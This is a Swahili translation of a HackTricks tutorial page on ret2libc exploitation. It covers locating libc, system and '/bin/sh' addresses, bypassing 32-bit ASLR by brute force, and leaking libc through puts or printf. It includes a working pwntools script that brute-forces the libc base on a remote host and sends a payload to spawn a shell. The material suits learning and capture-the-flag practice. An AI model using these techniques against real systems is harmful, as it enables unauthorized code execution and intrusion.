Ret2lib

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Maelezo Msingi

Esensi ya Ret2Libc ni kurekebisha mtiririko wa utekelezaji wa programu yenye kasoro kwa kazi ndani ya maktaba iliyoshirikiwa (k.m., system, execve, strcpy) badala ya kutekeleza shellcode iliyotolewa na mkalimani kwenye rundo. Mshambuliaji hupanga mzigo wa data ambao hubadilisha anwani ya kurudi kwenye rundo ili ielekeze kwenye kazi ya maktaba inayotakiwa, huku pia akifanya mipango ya kuweka vigezo vyovyote vinavyohitajika kulingana na mkataba wa kuita.

Hatua za Mfano (zilizorahisishwa)

  • Pata anwani ya kazi ya kupiga simu (k.m. system) na amri ya kupiga simu (k.m. /bin/sh)

  • Unda mnyororo wa ROP ili kupitisha hoja ya kwanza ikionyesha kwenye mfuatano wa amri na mtiririko wa utekelezaji kwa kazi

Kupata anwani

  • Kudhani kwamba libc inayotumiwa ni ile kutoka kwenye mashine ya sasa unaweza kupata mahali itakapoloadiwa kumbukani na:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Ikiwa unataka kujua ikiwa ASLR inabadilisha anwani ya libc unaweza kufanya:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Kwa kujua libc iliyotumiwa pia ni rahisi kupata kisawe cha kazi ya system kwa:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Kujua libc iliyotumiwa pia ni rahisi kupata kisawe cha kazi ya string /bin/sh na:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Kutumia gdb-peda / GEF

Kwa kujua libc iliyotumiwa, Pia ni rahisi kutumia Peda au GEF kupata anwani ya kazi ya system, ya kazi ya exit na ya string /bin/sh:

p system
p exit
find "/bin/sh"

Kutumia /proc/<PID>/maps

Ikiwa mchakato unazalisha watoto kila wakati unapozungumza naye (mtandao wa seva) jaribu kusoma faili hiyo (labda utahitaji kuwa na ruhusa ya mizizi).

Hapa unaweza kupata mahali hasa ambapo libc imepakia ndani ya mchakato na mahali itakapopakiwa kwa kila mtoto wa mchakato.

Katika kesi hii imepakia katika 0xb75dc000 (Hii itakuwa anwani ya msingi ya libc)

Libc isiyojulikana

Inaweza kuwa inawezekana kwamba hujui libc ambayo binary inapakia (kwa sababu inaweza kuwa mahali ambapo huna ufikiaji wowote). Katika kesi hiyo unaweza kutumia udhaifu wa kuvuja anwani na kupata ni libc ipi inayotumiwa:

pageLeaking libc address with ROP

Na unaweza kupata kiolezo cha pwntools kwa hili katika:

pageLeaking libc - template

Jua libc na 2 offsets

Angalia ukurasa https://libc.blukat.me/ na tumia anwani kadhaa za kazi ndani ya libc ili kugundua toleo lililotumiwa.

Kupita ASLR katika biti 32

Mashambulizi haya ya kufanya nguvu ni yenye manufaa kwa mifumo ya biti 32 tu.

  • Ikiwa shambulio ni la ndani, unaweza kujaribu kufanya nguvu ya anwani ya msingi ya libc (yenye manufaa kwa mifumo ya biti 32):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Kama unashambulia seva ya mbali, unaweza kujaribu kubaini kwa nguvu anwani ya kazi ya libc usleep, ukitoa kama hoja 10 (kwa mfano). Ikiwa kwa wakati fulani seva inachukua sekunde 10 zaidi kujibu, umepata anwani ya kazi hii.

Gadget Moja

Tekeleza kabati kwa kuruka kwa anwani moja maalum tu katika libc:

pageOne Gadget

Mfano wa Msimbo wa x86 Ret2lib

Katika mfano huu, ASLR brute-force imejumuishwa katika msimbo na faili ya binary yenye kasoro iko kwenye seva ya mbali:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Mfano wa Msimbo wa x64 Ret2lib

Angalia mfano kutoka:

pageROP - Return Oriented Programing

Mfano wa ARM64 Ret2lib

Katika kesi ya ARM64, maagizo ya ret hupanda mahali ambapo usajili wa x30 unaelekeza na sio mahali ambapo usajili wa stakini unaelekeza. Kwa hivyo ni kidogo ngumu zaidi.

Pia katika ARM64 maagizo hufanya kile ambacho maagizo yanafanya (haipatikani kuruka katikati ya maagizo na kubadilisha kuwa mengine mapya).

Angalia mfano kutoka:

pageRet2lib + Printf leak - arm64

Ret-into-printf (au puts)

Hii inaruhusu kuvuja kwa habari kutoka kwa mchakato kwa kuita printf/puts na baadhi ya data maalum iliyowekwa kama hoja. Kwa mfano kuweka anwani ya puts katika GOT katika utekelezaji wa puts kutavuja anwani ya puts kwenye kumbukumbu.

Ret2printf

Hii kimsingi inamaanisha kutumia Ret2lib kubadilisha kuwa printf format strings vulnerability kwa kutumia ret2lib kuita printf na thamani za kutumia (inaonekana haina maana lakini inawezekana):

pageFormat Strings

Mifano Mingine & Marejeo

Last updated